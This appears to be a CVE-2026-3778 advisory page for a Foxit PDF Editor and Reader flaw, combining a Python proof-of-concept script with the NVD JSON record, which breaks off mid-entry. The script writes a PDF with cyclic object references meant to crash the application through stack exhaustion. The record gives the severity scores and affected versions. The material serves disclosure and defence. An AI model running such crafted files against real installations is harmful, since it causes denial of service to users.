CVE-2026-3778

# PoC Concept: Creating a PDF with cyclic references # This is a conceptual demonstration as creating a raw cyclic PDF requires binary manipulation. import struct def create_cyclic_pdf_poc(filename): # Minimal PDF structure # Object 1: Catalog pointing to Object 2 (Pages) # Object 2: Pages pointing to Object 3 (Page) # Object 3: Page pointing to Object 1 (Catalog) -> CYCLE # Note: Real exploitation requires specific JavaScript triggers via SOAP API. # This script demonstrates the structural concept. pdf_header = b"%PDF-1.4\n" obj1 = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n" obj2 = b"2 0 obj\n<< /Type /Pages /Kids [ 3 0 R ] /Count 1 >>\nendobj\n" # Malicious Object 3 referencing back to Catalog (1 0 R) instead of Parent # This creates a loop: 1 -> 2 -> 3 -> 1 obj3 = b"3 0 obj\n<< /Type /Page /Parent 1 0 R /Contents 4 0 R >>\nendobj\n" obj4 = b"4 0 obj\n<< /Length 44 >>\nstream\nBT /F1 12 Tf 100 700 Td (Cyclic PoC) Tj ET\nendstream\nendobj\n" xref = b"xref\n0 5\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n0000000121 00000 n \n0000000208 00000 n \n" trailer = b"trailer\n<< /Size 5 /Root 1 0 R >>\nstartxref\n312\n%%EOF\n" with open(filename, "wb") as f: f.write(pdf_header + obj1 + obj2 + obj3 + obj4 + xref + trailer) # Usage: create_cyclic_pdf_poc('cyclic_poc.pdf') # Trigger: Pass this file to the vulnerable API.

{"cve": {"id": "CVE-2026-3778", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2026-04-01T02:16:02.897", "lastModified": "2026-04-14T17:50:53.873", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The application does not detect or guard against cyclic PDF object references while handling JavaScript in PDF. When pages and annotations are crafted that reference each other in a loop, passing the document to APIs (e.g., SOAP) that perform deep traversal can cause uncontrolled recursion, stack exhaustion, and application crashes."}, {"lang": "es", "value": "La aplicación no detecta ni protege contra referencias cíclicas de objetos PDF al manejar JavaScript en PDF. Cuando se elaboran páginas y anotaciones que se referencian mutuamente en un bucle, al pasar el documento a las API (por ejemplo, SOAP) que realizan un recorrido profundo puede causar recursión incontrolada, agotamiento de la pila y bloqueos de la aplicación."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.2.24014", "matchCriteriaId": "8E9FD877-062E-4AE4-B7D7-91E1CA8657DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0.33046", "versionEndIncluding": "14.0.2.33402", "matchCriteriaId": "6B7281CC-97ED-4441-BB97-6C73E328B9AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.23028", "matchCriteriaId": "0C75FEE6-54F3-49C6-BAEA-A09D23BE5D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.27687", "matchCriteriaId": "2C06BC41-9831-4AE3-B10B-3FC313D01580"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1.0.27937", "versionEndIncluding": "2025.3.0.35737", "matchCriteriaId": "AD0AAFC0-5B9B-4A11-8967-4699792850F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.3.0.35737", "matchCriteriaId": "1A7AD877-2AB4-4568-8109-5406D2259725"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.2.63349", "matchCriteriaId": "2C7DEE55-1FE3-4B41-975D-BB926E9E69D4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0.68868", "versionEndIncluding": "14.0.2.69164", "matchCriteriaId": "9D6DE6B5-F04E-4484-9BF9-397D49464636"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.55583", "versionEndIncluding": "2023.3.0.63083", "matchCriteriaId": "D8785CCE-C44C-4908-9133-13A580D5BECB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.63682", "versionEndIncluding": "2024.4.1.66479", "matchCriteriaId": "CF043D20-0E28-481C-8756-D1301FAE67D2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1.0.66692", "versionEndIncluding": "2025.3.0.69570", "matchCriteriaId": "20698FD4-5E28-4206-ACEA-4FCD24AD23BE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.3.0.69570", "matchCriteriaId": "308530A9-A5C2-4293-BB02-00DDB6C17C37"}]}, {"operator": "OR", "neg ... (truncated)